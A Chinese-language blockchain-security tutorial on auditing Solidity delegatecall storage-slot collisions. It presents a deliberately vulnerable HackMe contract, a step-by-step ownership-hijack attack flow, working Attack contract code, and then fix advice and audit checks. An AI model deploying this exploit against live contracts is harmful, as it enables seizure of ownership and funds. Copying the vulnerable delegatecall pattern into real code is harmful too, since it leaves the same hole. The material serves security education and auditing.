在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一)
漏洞代码
存在一漏洞代码如下:
// 库合约,定义了一个公共变量和一个函数
contract Lib {
uint public someNumber; // 存储在 slot 0
// 用于设置 someNumber 的值
function doSomething(uint _num) public {
someNumber = _num;
}
}
// 主合约 HackMe
contract HackMe {
address public lib; // 存储在 slot 0,库合约地址
address public owner; // 存储在 slot 1,合约的拥有者
uint public someNumber; // 存储在 slot 2
// 构造函数,初始化库地址和合约拥有者
constructor(address _lib) {
lib = _lib; // 设置外部库地址
owner = msg.sender; // 设置合约拥有者
}
// 外部接口,调用库合约中的 doSomething 函数
function doSomething(uint _num) public {
// 使用 delegatecall 方式调用库函数
// 实际执行的是 Lib.doSomething(uint256),但上下文是 HackMe 自己的存储空间
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
代码分析
正常的调用逻辑是这样的:
用户A调用 HackMe.doSomething(123),该函数内部使用 delegatecall 调用了库合约 Lib 的 doSomething(uint) 函数。虽然执行的是库合约中的代码,但由于使用的是 delegatecall,所以代码是在 HackMe 合约的上下文中执行的,也就是说修改的是 HackMe 合约自身的存储槽。
此时,Lib 中的 someNumber 存储在 slot 0,但在 HackMe 中 slot 0 存储的是 lib 地址。因此,delegatecall 执行时会将 slot 0 视为 HackMe 合约的 lib,从而错误地把 lib 的地址替换成了传入的 _num 值(类型转换为 address 时低位保留),也就是把 lib 地址改成了 address(123),这正是潜在的攻击点。
那么,我们该如何利用这个漏洞将受害者合约中的 owner 修改为我们自己的地址呢? 下面让我们一步步看看完整的攻击流程。
攻击流程
1.用户首先部署 Lib 合约;
2.随后,Hacker 部署 HackMe 合约,并在构造函数中传入 Lib 合约地址作为参数;
3.Hacker 部署恶意合约 Attack,并在构造函数中传入 HackMe 合约地址;
4.Hacker 首次调用 HackMe.doSomething(),在该调用中会通过 delegatecall 执行 Lib.doSomething(uint) 函数。原本该函数应修改 Lib 合约中的 someNumber(位于 slot 0),但由于使用的是 delegatecall,实际上会修改 HackMe 的 slot 0,即 lib 变量。因此,Hacker 可借此将 lib 替换为自己部署的 Attack 合约地址;
5.此时,由于 HackMe 合约中的 lib 地址已被替换为攻击合约 Attack 的地址,Hacker 可以自定义 Attack 合约中的 doSomething() 函数逻辑;
6.Hacker 第二次调用 HackMe.doSomething(),由于 lib 现在指向的是 Attack 合约,因此 delegatecall 实际执行的是 Attack.doSomething()。在该函数中,Hacker 可以编写恶意代码,直接修改 HackMe 合约中的 owner 变量;
7.最终,HackMe 合约的 owner 成功被篡改为 Hacker 的地址。
接下来,我们来看 Hacker 是如何编写这个恶意合约 Attack 的。
攻击代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Attack {
// 确保存储布局与 HackMe 完全一致
// 这样我们才能正确地修改对应的状态变量
address public lib; // slot 0:库合约地址
address public owner; // slot 1:合约拥有者地址
uint public someNumber; // slot 2:任意整数变量
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// 第一次调用,覆盖 HackMe 中的 lib 地址为当前合约地址
hackMe.doSomething(uint(uint160(address(this))));
// 第二次调用,传入任意参数,触发 delegatecall 执行本合约的 doSomething()
hackMe.doSomething(1);
}
// 函数签名必须与 HackMe 的 doSomething(uint) 完全一致
function doSomething(uint _num) public {
// 将 HackMe 中的 owner 修改为 Hacker 地址
owner = msg.sender;
}
}
前文重现
这里将【区块链安全 | 第三十九篇】合约审计之delegatecall(一)中提到的 delegatecall 的关键特性重复一遍,加深你的记忆:
当涉及 storage 变量的修改时,变量的赋值是基于存储插槽的位置(slot)而不是变量名进行的。
举例来说:
1.在 A 合约中,address c 被存储在 slot0,而 address a 被存储在 slot1;
2.在 B 合约中,address a 被存储在 slot0,而 address c 被存储在 slot1;
3.当 B 合约通过 delegatecall 调用 A 合约的 test 函数时,该函数原本用于修改 A 合约中的变量 a,即 slot1 中的数据;
4.然而,在 delegatecall 的上下文中,slot1 实际映射的是 B 合约中的变量 c,因此最终被修改的是 B 合约中的 c,而不是预期的 a。
修复建议
通过这个例子我们同样可以清晰看到 delegatecall 带来的安全隐患 —— 如果调用的外部合约不可信或不受控,很可能造成严重的数据篡改或权限劫持问题。因此,在设计合约架构时,应注意以下两点。
1.在使用 delegatecall 时,应确保被调用合约的地址是可信且不可由外部用户控制的。推荐的做法是将目标地址硬编码(写死一个你自己部署、你知道安全的合约地址),或通过白名单机制进行管理,防止恶意地址注入。
如果目标地址是外部可控的,会发生什么?
举个例子:
fallback() external payable {
address(_someUserInput).delegatecall(msg.data);
}
假设上面这段代码的 _someUserInput 是用户传进来的地址,此时 Hacker 可以传一个他部署的恶意合约地址进来,然后通过 delegatecall,在你的合约中执行他的恶意代码,直接改写你合约里的变量,比如 owner、余额等。
2.在复杂合约中使用 delegatecall 时,应确保调用者与被调用合约之间的存储结构保持一致。特别是变量的声明顺序和类型必须严格对应,否则容易因存储插槽错位而导致意外的数据覆盖或逻辑错误。
审计思路
1.在审计中,如发现合约使用了 delegatecall,需重点检查目标合约地址是否有被 Hacker 控制的可能。如果地址是可控的,即存在外部调用者传入的风险,应视为高危漏洞。
2.若被调用的合约中包含对 storage 变量的修改,审计者应对比其与调用方合约的变量声明顺序和存储插槽分布,确认两者结构是否一致,避免 delegatecall 引发变量误覆盖或权限篡改问题。